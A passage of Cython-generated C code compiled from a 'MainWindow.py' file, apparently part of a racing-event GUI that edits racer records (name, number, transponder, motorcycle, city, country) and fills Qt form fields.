__pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_11); __pyx_t_11 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_C_concurrents_TP_fmt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Remainder(__pyx_t_3, __pyx_v_rt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_t_4, __pyx_t_1) < 0)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":162 * oldracer['nom'] = rl * oldracer['prenom'] = rf * if oldracer['transponder'] != rt: # <<<<<<<<<<<<<< * if Globals.C_concurrents_TP_fmt%oldracer['transponder'] in tpRacerList: * tpRacerList.pop( Globals.C_concurrents_TP_fmt%oldracer['transponder'] ) */ } /* "MainWindow.py":168 * tpRacerList[ Globals.C_concurrents_TP_fmt%rt ] = oldracerItem.data( Globals.UserRole ) * * oldracer['moto'] = rm # <<<<<<<<<<<<<< * oldracer['ville'] = rc * oldracer['npa'] = rp */ if (unlikely(PyObject_SetItem(__pyx_v_oldracer, __pyx_n_u_moto, __pyx_v_rm) < 0)) __PYX_ERR(0, 168, __pyx_L1_error) /* "MainWindow.py":169 * * oldracer['moto'] = rm * oldracer['ville'] = rc # <<<<<<<<<<<<<< * oldracer['npa'] = rp * oldracer['pays'] = pa */ if (unlikely(PyObject_SetItem(__pyx_v_oldracer, __pyx_n_u_ville, __pyx_v_rc) < 0)) __PYX_ERR(0, 169, __pyx_L1_error) /* "MainWindow.py":170 * oldracer['moto'] = rm * oldracer['ville'] = rc * oldracer['npa'] = rp # <<<<<<<<<<<<<< * oldracer['pays'] = pa * oldracerItem.setText( Globals.C_concurrents_item_fmt % ( oldracer['numero'], oldracer['nom'], oldracer['prenom'] ) ) */ if (unlikely(PyObject_SetItem(__pyx_v_oldracer, __pyx_n_u_npa, __pyx_v_rp) < 0)) __PYX_ERR(0, 170, __pyx_L1_error) /* "MainWindow.py":171 * oldracer['ville'] = rc * oldracer['npa'] = rp * oldracer['pays'] = pa # <<<<<<<<<<<<<< * oldracerItem.setText( Globals.C_concurrents_item_fmt % ( oldracer['numero'], oldracer['nom'], oldracer['prenom'] ) ) * */ if (unlikely(PyObject_SetItem(__pyx_v_oldracer, __pyx_n_u_pays, __pyx_v_pa) < 0)) __PYX_ERR(0, 171, __pyx_L1_error) /* "MainWindow.py":172 * oldracer['npa'] = rp * oldracer['pays'] = pa * oldracerItem.setText( Globals.C_concurrents_item_fmt % ( oldracer['numero'], oldracer['nom'], oldracer['prenom'] ) ) # <<<<<<<<<<<<<< * * if racer is None : */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_oldracerItem, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_C_concurrents_item_fmt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_v_oldracer, __pyx_n_u_numero); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_11 = PyObject_GetItem(__pyx_v_oldracer, __pyx_n_u_nom); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_5 = PyObject_GetItem(__pyx_v_oldracer, __pyx_n_u_prenom); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_12 = PyTuple_New(3); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_12, 0, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_12, 1, __pyx_t_11); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_12, 2, __pyx_t_5); __pyx_t_2 = 0; __pyx_t_11 = 0; __pyx_t_5 = 0; __pyx_t_5 = PyNumber_Remainder(__pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_12)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_12); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_12) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_12, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_12, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_12); __pyx_t_12 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":140 * print (racer) * oldracerItem = self.__RacerEdited * if oldracerItem is not None: # <<<<<<<<<<<<<< * rl = self.R_lastname.text() * rf = self.R_firstname.text() */ } /* "MainWindow.py":174 * oldracerItem.setText( Globals.C_concurrents_item_fmt % ( oldracer['numero'], oldracer['nom'], oldracer['prenom'] ) ) * * if racer is None : # <<<<<<<<<<<<<< * self.R_lastname.setText( "" ) * self.R_firstname.setText( "" ) */ __pyx_t_7 = (__pyx_v_racer == Py_None); __pyx_t_6 = (__pyx_t_7 != 0); if (__pyx_t_6) { /* "MainWindow.py":175 * * if racer is None : * self.R_lastname.setText( "" ) # <<<<<<<<<<<<<< * self.R_firstname.setText( "" ) * self.R_number.setText( "" ) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":176 * if racer is None : * self.R_lastname.setText( "" ) * self.R_firstname.setText( "" ) # <<<<<<<<<<<<<< * self.R_number.setText( "" ) * self.R_transponder.setText( "") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__8, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":177 * self.R_lastname.setText( "" ) * self.R_firstname.setText( "" ) * self.R_number.setText( "" ) # <<<<<<<<<<<<<< * self.R_transponder.setText( "") * else: */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":178 * self.R_firstname.setText( "" ) * self.R_number.setText( "" ) * self.R_transponder.setText( "") # <<<<<<<<<<<<<< * else: * self.R_lastname.setText( racer['nom'] ) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":174 * oldracerItem.setText( Globals.C_concurrents_item_fmt % ( oldracer['numero'], oldracer['nom'], oldracer['prenom'] ) ) * * if racer is None : # <<<<<<<<<<<<<< * self.R_lastname.setText( "" ) * self.R_firstname.setText( "" ) */ goto __pyx_L27; } /* "MainWindow.py":180 * self.R_transponder.setText( "") * else: * self.R_lastname.setText( racer['nom'] ) # <<<<<<<<<<<<<< * self.R_firstname.setText( racer['prenom'] ) * self.R_number.setText( "%d"%racer['numero'] ) */ /*else*/ { __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_nom); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_12 = PyTuple_New(1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_12, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_12, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_12, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":181 * else: * self.R_lastname.setText( racer['nom'] ) * self.R_firstname.setText( racer['prenom'] ) # <<<<<<<<<<<<<< * self.R_number.setText( "%d"%racer['numero'] ) * self.R_transponder.setText( "%d"%racer['transponder']) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_prenom); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_12))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_12); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_12, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_12, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_12, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_12, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":182 * self.R_lastname.setText( racer['nom'] ) * self.R_firstname.setText( racer['prenom'] ) * self.R_number.setText( "%d"%racer['numero'] ) # <<<<<<<<<<<<<< * self.R_transponder.setText( "%d"%racer['transponder']) * self.R_brandMenu.setCurrentIndex( self.R_brandMenu.findData(racer['moto'])) */ __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_numero); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_3 = PyUnicode_Format(__pyx_kp_u_d, __pyx_t_12); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_12)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_12); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_12) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_12, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_12, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_12); __pyx_t_12 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":183 * self.R_firstname.setText( racer['prenom'] ) * self.R_number.setText( "%d"%racer['numero'] ) * self.R_transponder.setText( "%d"%racer['transponder']) # <<<<<<<<<<<<<< * self.R_brandMenu.setCurrentIndex( self.R_brandMenu.findData(racer['moto'])) * pa = racer['pays'] */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_transponder); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = PyUnicode_Format(__pyx_kp_u_d, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_12 = PyTuple_New(1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_12, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_12, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_12, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":184 * self.R_number.setText( "%d"%racer['numero'] ) * self.R_transponder.setText( "%d"%racer['transponder']) * self.R_brandMenu.setCurrentIndex( self.R_brandMenu.findData(racer['moto'])) # <<<<<<<<<<<<<< * pa = racer['pays'] * if pa == None: */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 